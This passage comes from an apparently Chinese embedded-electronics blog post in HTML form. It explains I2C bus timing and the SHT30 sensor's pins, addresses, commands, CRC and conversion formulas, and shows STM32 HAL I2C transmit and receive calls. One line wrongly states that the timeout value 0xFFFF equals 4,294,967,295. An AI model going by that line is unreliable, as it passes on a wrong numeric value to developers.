href=\"https://blog.ksfu.top/posts/6c49/#I2C%E9%80%9A%E4%BF%A1%E6%97%B6%E5%BA%8F\" class=\"headerlink\" title=\"I2C通信时序\"\u003e\u003c/a\u003eI2C通信时序\u003c/h3\u003e\u003cp\u003e在I2C总线上传送的每一位数据都由一个同步时钟脉冲相对应,即在SCL串行时钟的配合下,数据在SDA上从高位向低位依次串行传送每一位的数据。IIC通信时序图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/13.webp\" style=\"zoom:80%;\"/\u003e\u003ch4 id=\"(1)起始位\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%EF%BC%881%EF%BC%89%E8%B5%B7%E5%A7%8B%E4%BD%8D\" class=\"headerlink\" title=\"(1)起始位\"\u003e\u003c/a\u003e(1)起始位\u003c/h4\u003e\u003cp\u003eI2C总线在空闲时SDA和SCL都处于高电平状态(由上拉电阻拉成高电平),当主设备要开始一次I2C通信时就发送一个START(S)信号,这个起始位就可以告诉所有I2C从机, “我”要开始进行I2C通信了;当要结束一次I2C通信时,则发送一个STOP信号结束本次通信。\u003c/p\u003e\u003cp\u003eSTART(S):当SCL保持高电平时候,SDA出现下降沿,产生一个起始位,注意SCL一定要在高电平。\u003cbr/\u003eSTOP( P ):当SCL保持高电平时候,SDA出现上升沿,产生一个停止位,注意SCL一定要在高电平。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/14.webp\" style=\"zoom: 67%;\"/\u003e\u003ch4 id=\"(2)读写地址\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%EF%BC%882%EF%BC%89%E8%AF%BB%E5%86%99%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"(2)读写地址\"\u003e\u003c/a\u003e(2)读写地址\u003c/h4\u003e\u003cp\u003e主机在发送START信号之后,第2个时序应该立刻给出要通信的目标从机物理地址。此外,I2C总线是一种能够实现半双工通信的同步串行通信协议,站在主设备的角度来看应该具有读/写从设备的功能。\u003c/p\u003e\u003cp\u003e这时候I2C的读写地址除了7bit物理地址以外,还有1bit用来标识读/写方向位。这样I2C的从设备读写地址通常是一个字节,其中高7bit是上面描述的物理地址,最低位用来表示读写方向(0为写操作, 1为读操作)\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/15.webp\" style=\"zoom:67%;\"/\u003e\u003ch4 id=\"(3)I2C应答信号\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%EF%BC%883%EF%BC%89I2C%E5%BA%94%E7%AD%94%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"(3)I2C应答信号\"\u003e\u003c/a\u003e(3)I2C应答信号\u003c/h4\u003e\u003cp\u003e主机往I2C总线上传输器件地址,所有的从机接收到这个地址后与自己的地址相比较若相同则发出一个应答ACK(Acknowledge)信号,主机收到这个应答信号后通讯连接建立成功,若未收到应答信号则表示寻址失败。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/16.webp\" style=\"zoom: 67%;\"/\u003e\u003cp\u003e此外,主/从机在之后的数据通信中,数据接收方(可能是主机也可能是从机)收到传输的一个字节数据后,需要给出响应,此时处在第九个时钟,发送端释放SDA线控制权,将SDA电平拉高,由接收方控制。\u003c/p\u003e\u003cul\u003e\u003cli\u003e若希望继续,则给出“应答(ACK, Acknowledge)”信号,即SDA为低电平\u003c/li\u003e\u003cli\u003e若不希望继续,则给出“非应答(NACK,Not Acknowledge) ”信号,即SDA为高电平\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"(4)数据位发送与接收\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%EF%BC%884%EF%BC%89%E6%95%B0%E6%8D%AE%E4%BD%8D%E5%8F%91%E9%80%81%E4%B8%8E%E6%8E%A5%E6%94%B6\" class=\"headerlink\" title=\"(4)数据位发送与接收\"\u003e\u003c/a\u003e(4)数据位发送与接收\u003c/h4\u003e\u003cp\u003e主机在收到从机的应答信号之后,开始给从机发送数据。SDA数据线上的每个字节必须是8位,每次传输的字节数量没有限制,每个字节发送完成之后,从机必须跟一个应答信号。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/17.webp\" style=\"zoom:67%;\"/\u003e\u003cp\u003eI2C总线通信时数据位传输采用MSB(最高位优先)方式发送,其中高电平表示数据位1,低电平表示数据位0。\u003c/p\u003e\u003cp\u003e当传输的数据位需要改变时(如上一个位发送的是1,下一个位要发送0),必须发生在SCL为低电平期间。另外在传输过程中, SDA上的数据位在SCL高电平期间必须保持稳定不变。\u003c/p\u003e\u003cp\u003e假设SCL在高电平,想一下是不是就会触发起始位或者终止位。想一想起始信号与停止信号是怎么发送的就会明白为什么SCL一定要在高电平才能改变SDA。\u003c/p\u003e\u003ch3 id=\"I2C协议主机收发数据流程\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#I2C%E5%8D%8F%E8%AE%AE%E4%B8%BB%E6%9C%BA%E6%94%B6%E5%8F%91%E6%95%B0%E6%8D%AE%E6%B5%81%E7%A8%8B\" class=\"headerlink\" title=\"I2C协议主机收发数据流程\"\u003e\u003c/a\u003eI2C协议主机收发数据流程\u003c/h3\u003e\u003ch4 id=\"(1)主机发送数据\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%EF%BC%881%EF%BC%89%E4%B8%BB%E6%9C%BA%E5%8F%91%E9%80%81%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"(1)主机发送数据\"\u003e\u003c/a\u003e(1)主机发送数据\u003c/h4\u003e\u003cp\u003e主机在检测到总线为“空闲状态”(即 SDA、SCL 线均为高电平)时,发送一个启动信号“S”,开始一次通信的开始;\u003c/p\u003e\u003cp\u003e主机接着发送一个从设备地址,它由7bit物理地址和1bit读写控制位R/W组成(此时R/W=0);\u003cbr/\u003e相对应的从机收到命令字节后向主机回馈应答信号 ACK(ACK=0);\u003c/p\u003e\u003cp\u003e主机收到从机的应答信号后开始发送第一个字节的数据;\u003c/p\u003e\u003cp\u003e从机收到数据后返回一个应答信号 ACK;\u003c/p\u003e\u003cp\u003e主机收到应答信号后再发送下一个数据字节;\u003c/p\u003e\u003cp\u003e当主机发送最后一个数据字节并收到从机的 ACK 后,通过向从机发送一个停止信号P结束本次通信并释放总线。从机收到P信号后也退出与主机之间的通信。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/18.webp\" style=\"zoom:67%;\"/\u003e\u003cblockquote\u003e\u003cp\u003e\u003ccode\u003e注意\u003c/code\u003e :\u003c/p\u003e\u003cul\u003e\u003cli\u003e主机通过发送地址码与对应的从机建立了通信关系,而挂接在总线上的其它从机虽然同时也收到了地址码,但因为与其自身的地址不相符合,因此提前退出与主机的通信;\u003c/li\u003e\u003cli\u003e主机的一次发送通信,其发送的数据数量不受限制。主机是通过 P 信号通知发送的结束,从机收到 P 信号后退出本次通信;\u003c/li\u003e\u003cli\u003e主机的每一次发送后都是通过从机的 ACK 信号了解从机的接收状况,如果应答错误则重发。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch4 id=\"(2)主机接收数据\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%EF%BC%882%EF%BC%89%E4%B8%BB%E6%9C%BA%E6%8E%A5%E6%94%B6%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"(2)主机接收数据\"\u003e\u003c/a\u003e(2)主机接收数据\u003c/h4\u003e\u003cul\u003e\u003cli\u003e主机发送起始信号后,接着发送地址字节(其中R/W=1);\u003c/li\u003e\u003cli\u003e对应的从机收到地址字节后,返回一个应答信号并向主机发送数据;\u003c/li\u003e\u003cli\u003e主机收到数据后向从机反馈一个应答信号ACK;\u003c/li\u003e\u003cli\u003e从机收到应答信号后再向主机发送下一个数据;\u003c/li\u003e\u003cli\u003e当主机完成接收数据后,向从机发送一个NAK,从机收到非应答信号后便停止发送;\u003c/li\u003e\u003cli\u003e主机发送非应答信号后,再发送一个停止信号,释放总线结束通信。\u003c/li\u003e\u003c/ul\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/19.webp\" style=\"zoom:67%;\"/\u003e\u003cblockquote\u003e\u003cp\u003e\u003ccode\u003e注意\u003c/code\u003e :\u003c/p\u003e\u003cul\u003e\u003cli\u003e主机所接收数据的数量是由主机自身决定,当发送“非应答信号NAK”时从机便结束传送并释放总线。\u003c/li\u003e\u003cli\u003e非应答信号的两个作用:前一个数据接收成功,停止从机的再次发送。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch2 id=\"SHT30-温湿度传感器\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#SHT30-%E6%B8%A9%E6%B9%BF%E5%BA%A6%E4%BC%A0%E6%84%9F%E5%99%A8\" class=\"headerlink\" title=\"SHT30 温湿度传感器\"\u003e\u003c/a\u003eSHT30 温湿度传感器\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e)睡醒再写……\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eSHT3X数据手册下载: \u003ca href=\"https://sensirion.com/media/documents/213E6A3B/63A5A569/Datasheet_SHT3x_DIS.pdf\"\u003e[Datasheet SHT3x-DIS]\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"SHT30简介\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#SHT30%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"SHT30简介\"\u003e\u003c/a\u003eSHT30简介\u003c/h3\u003e\u003cp\u003eSHT30数字温湿度传感器采用业内知名的瑞士Sensirion公司推出的新一代SHT30温湿度传感器芯片,它能够提供极高的可靠性和出色的长期稳定性,具有功耗低、反应快、抗干扰能力强等优点。IIC通讯,兼容3.3V/5V,可以非常容易的集成到智能楼宇、天气站、仓库存储、养殖、孵化等应用场景中,其中小米的温湿度传感器使用的也是SHT30。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/index.webp\" style=\"zoom: 50%;\"/\u003e\u003cul\u003e\u003cli\u003e高精度,内部自动校准,数字输出\u003c/li\u003e\u003cli\u003e低功耗、响应速度快、抗干扰能力强\u003c/li\u003e\u003cli\u003e兼容3.3V/5V控制器\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"SHT30工作原理\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#SHT30%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"SHT30工作原理\"\u003e\u003c/a\u003eSHT30工作原理\u003c/h3\u003e\u003cp\u003eSHT30 芯片有八个引脚,利用I2C进行数据传输,具有两个可选地址,宽电源电压从2.4V到5.5V。下面是引脚说明:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e管脚\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e备注\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003eSDA\u003c/td\u003e\u003ctd\u003eI2C数据引脚,输入/输出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003eADDR\u003c/td\u003e\u003ctd\u003e地址引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e3\u003c/td\u003e\u003ctd\u003eALENT\u003c/td\u003e\u003ctd\u003e报警引脚,输出;\u003cstrong\u003e不使用时悬空\u003c/strong\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e4\u003c/td\u003e\u003ctd\u003eSCL\u003c/td\u003e\u003ctd\u003eI2C时钟引脚,输入/输出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e5\u003c/td\u003e\u003ctd\u003eVDD\u003c/td\u003e\u003ctd\u003e电源引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e6\u003c/td\u003e\u003ctd\u003enRESET\u003c/td\u003e\u003ctd\u003e复位引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e7\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e无用引脚,接地\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e8\u003c/td\u003e\u003ctd\u003eVSS\u003c/td\u003e\u003ctd\u003e接地引脚\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SHT30地址选择\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#SHT30%E5%9C%B0%E5%9D%80%E9%80%89%E6%8B%A9\" class=\"headerlink\" title=\"SHT30地址选择\"\u003e\u003c/a\u003eSHT30地址选择\u003c/h4\u003e\u003cp\u003eSHT3x有两个地址,可以将\u003ccode\u003eADDR\u003c/code\u003e接到不同电平进行切换:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eSHT3x-DIS\u003c/th\u003e\u003cth\u003eI2C地址\u003c/th\u003e\u003cth\u003e条件\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eI2C地址A\u003c/td\u003e\u003ctd\u003e0x44(默认)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eADDR\u003c/code\u003e引脚接\u003cstrong\u003e低\u003c/strong\u003e电平\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eI2C地址B\u003c/td\u003e\u003ctd\u003e0x45\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eADDR\u003c/code\u003e引脚接\u003cstrong\u003e高\u003c/strong\u003e电平\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SHT3x电路图\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#SHT3x%E7%94%B5%E8%B7%AF%E5%9B%BE\" class=\"headerlink\" title=\"SHT3x电路图\"\u003e\u003c/a\u003eSHT3x电路图\u003c/h4\u003e\u003cp\u003e因为是开漏,所以记得将\u003ccode\u003eSDA\u003c/code\u003e,\u003ccode\u003eSCL\u003c/code\u003e两个引脚拉高。(因为直接买的模块,所以就不用操心了。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/20.webp\" alt=\"电路图\" style=\"zoom:67%;\"/\u003e\u003ch3 id=\"SHT30数据采集\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#SHT30%E6%95%B0%E6%8D%AE%E9%87%87%E9%9B%86\" class=\"headerlink\" title=\"SHT30数据采集\"\u003e\u003c/a\u003eSHT30数据采集\u003c/h3\u003e\u003cp\u003eSHT3x有单次测量命令数据采集模式和周期性测量命令数据采集模式,这里选择\u003cstrong\u003e周期性测量命令数据采集模式\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"定期数据采集模式的测量命令\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E5%AE%9A%E6%9C%9F%E6%95%B0%E6%8D%AE%E9%87%87%E9%9B%86%E6%A8%A1%E5%BC%8F%E7%9A%84%E6%B5%8B%E9%87%8F%E5%91%BD%E4%BB%A4\" class=\"headerlink\" title=\"定期数据采集模式的测量命令\"\u003e\u003c/a\u003e定期数据采集模式的测量命令\u003c/h4\u003e\u003cp\u003e在这种模式下,一个发出的测量命令会产生一个数据对流。每个数据对由一个16位温度值和一个16位湿度值(按此顺序)组成。在周期模式下,可以选择不同的测量命令。对应的16位命令如表9所示。它们在可重复性(低、中、高)和数据采集频率(每秒0.5、1、2、4和10次测量值,mps)方面存在差异。在此模式下不能选择时钟拉伸。数据采集频率和可重复性设置会影响传感器的测量持续时间和电流消耗。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/21.webp\" style=\"zoom:80%;\"/\u003e\u003cp\u003e根据表格的通信时序,主机发送起始信号,然后发送从机地址加写指令命令,等待从机应答,再发送命令的高位(MSB),等待从机应答,再发送命令的低位(LSB)。\u003c/p\u003e\u003ch4 id=\"周期模式下测量结果的读数\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E5%91%A8%E6%9C%9F%E6%A8%A1%E5%BC%8F%E4%B8%8B%E6%B5%8B%E9%87%8F%E7%BB%93%E6%9E%9C%E7%9A%84%E8%AF%BB%E6%95%B0\" class=\"headerlink\" title=\"周期模式下测量结果的读数\"\u003e\u003c/a\u003e周期模式下测量结果的读数\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e读数据的命令是: \u003ccode\u003e0xE000\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/22.webp\" style=\"zoom:67%;\"/\u003e\u003cp\u003e读数可以通过上表所示的命令启动。如果没有测量数据,I2C读取头用NACK而不是ACK(表中的位9)响应,通信停止。\u003c/p\u003e\u003cp\u003e空白的数据块是由32发送,黑色的数据块是由SHT30发送。\u003c/p\u003e\u003cp\u003e根据表中的通信时序,获取SHT30的温湿度数据,获取到的是16位的温度值和16位的湿度值,温度和湿度后都有CRC-8校验。\u003c/p\u003e\u003ch4 id=\"SHT30复位\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#SHT30%E5%A4%8D%E4%BD%8D\" class=\"headerlink\" title=\"SHT30复位\"\u003e\u003c/a\u003eSHT30复位\u003c/h4\u003e\u003cp\u003eSHT30的系统复位有两种方式,一种是发出命令(软重置),一种是通过外部向专用复位引脚(\u003ccode\u003enRESET\u003c/code\u003e)发送脉冲。我们选择\u003cstrong\u003e软重置\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e软重置的命令是: \u003ccode\u003e0x30A2\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/23.webp\" style=\"zoom:67%;\"/\u003e\u003ch4 id=\"差错校验\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E5%B7%AE%E9%94%99%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"差错校验\"\u003e\u003c/a\u003e差错校验\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/f0c68eebb8a1\"\u003eCRC8校验 - 简书 (jianshu.com)\u003c/a\u003e \u003cdel\u003e(原理进行一个参考链接的抄)\u003c/del\u003e\u003c/p\u003e\u003cp\u003eCRC覆盖了先前传输的两个数据字节的内容。 为了计算校验和,仅使用这两个先前发送的数据字节。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/24.webp\" style=\"zoom:67%;\"/\u003e\u003ch4 id=\"温湿度转换\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E6%B8%A9%E6%B9%BF%E5%BA%A6%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"温湿度转换\"\u003e\u003c/a\u003e温湿度转换\u003c/h4\u003e\u003cp\u003e测量数据始终以 16 位值(无符号整数)形式传输。 这些值已经线性化并补偿了温度和电源电压的影响。 可以使用以下公式将这些原始值转换为物理标度。\u003c/p\u003e\u003cp\u003e相对湿度换算公式(结果以%RH为单位):\u003c/p\u003e\u003cp\u003e$$RH=100\\times \\frac{S_{RH}}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e温度换算公式(结果以 °C 和 °F 为单位):\u003c/p\u003e\u003cp\u003e$$T[°C]=-45+175\\times\\frac{S_T}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e$$T[°F]=-49+315\\times\\frac{S_T}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e$S_{RH}$ 和 $S_{T}$ 分别表示湿度和温度的原始传感器输出。 仅当$S_{RH}$ 和 $S_{T}$ 以十进制表示形式使用时,这些公式才能正确工作。\u003c/p\u003e\u003ch2 id=\"代码驱动SHT30\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E4%BB%A3%E7%A0%81%E9%A9%B1%E5%8A%A8SHT30\" class=\"headerlink\" title=\"代码驱动SHT30\"\u003e\u003c/a\u003e代码驱动SHT30\u003c/h2\u003e\u003cp\u003e首先使用 STM32CubeMX进行一些常规配置,时钟,调试选项……\u003c/p\u003e\u003cp\u003e然后配置串口: \u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e在I2C2中选择I2C,打开硬件I2C。\u003c/p\u003e\u003ch3 id=\"HAL库中I2C发送接收数据函数\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#HAL%E5%BA%93%E4%B8%ADI2C%E5%8F%91%E9%80%81%E6%8E%A5%E6%94%B6%E6%95%B0%E6%8D%AE%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"HAL库中I2C发送接收数据函数\"\u003e\u003c/a\u003eHAL库中I2C发送接收数据函数\u003c/h3\u003e\u003ch4 id=\"(1)HAL-I2C-Master-Transmit\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%EF%BC%881%EF%BC%89HAL-I2C-Master-Transmit\" class=\"headerlink\" title=\"(1)HAL_I2C_Master_Transmit()\"\u003e\u003c/a\u003e(1)HAL_I2C_Master_Transmit()\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e函数原型\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eI2C_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehi2c\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e DevAddress\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数功能:IIC发送数据,主机需要将数据通过IIC发送过去\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e参数介绍:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e*hi2c\u003c/code\u003e 设置使用的是那个IIC\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDevAddress\u003c/code\u003e 写入的地址,设置写入数据的地址\u003c/li\u003e\u003cli\u003e\u003ccode\u003e*pData\u003c/code\u003e 需要写入的数据\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSize\u003c/code\u003e 要发送的字节数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eTimeout\u003c/code\u003e 最大传输时间,超过传输时间将自动退出传输函数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用到的函数参数讲解():\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_WR\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e:我们使用的是:\u003ccode\u003ehi2c2\u003c/code\u003e,传地址\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_ADDR_WR\u003c/code\u003e:我们宏定义了写的地址,传写的地址\u003ccode\u003e#define SHT30_ADDR_WR (SHT30_ADDR\u0026lt;\u0026lt;1)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e(uint8_t*)buf\u003c/code\u003e:我们将需要传的数据保存在\u003ccode\u003ebuf\u003c/code\u003e中\u003c/li\u003e\u003cli\u003e\u003ccode\u003e2\u003c/code\u003e:传\u003ccode\u003e2\u003c/code\u003e个字节,\u003ccode\u003e16\u003c/code\u003e个位\u003c/li\u003e\u003cli\u003e\u003ccode\u003e0xFFFF\u003c/code\u003e超时:\u003ccode\u003e0xFFFF\u003c/code\u003e(4 294 967 295也就是无符号整型所能表示的最大值)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"HAL-I2C-Master-Receive\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#HAL-I2C-Master-Receive\" class=\"headerlink\" title=\"HAL_I2C_Master_Receive()\"\u003e\u003c/a\u003eHAL_I2C_Master_Receive()\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e函数原型\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eI2C_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehi2c\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e DevAddress\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数功能:IIC接收数据,从机发送给主机,主机需要将数据通过IIC接收\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数参数和HAL_I2C_Master_Transmit()大概是一样的,只是取到的数据保存在pData中。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用到的函数参数讲解():\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_RD\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_DATA_SIZE\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" 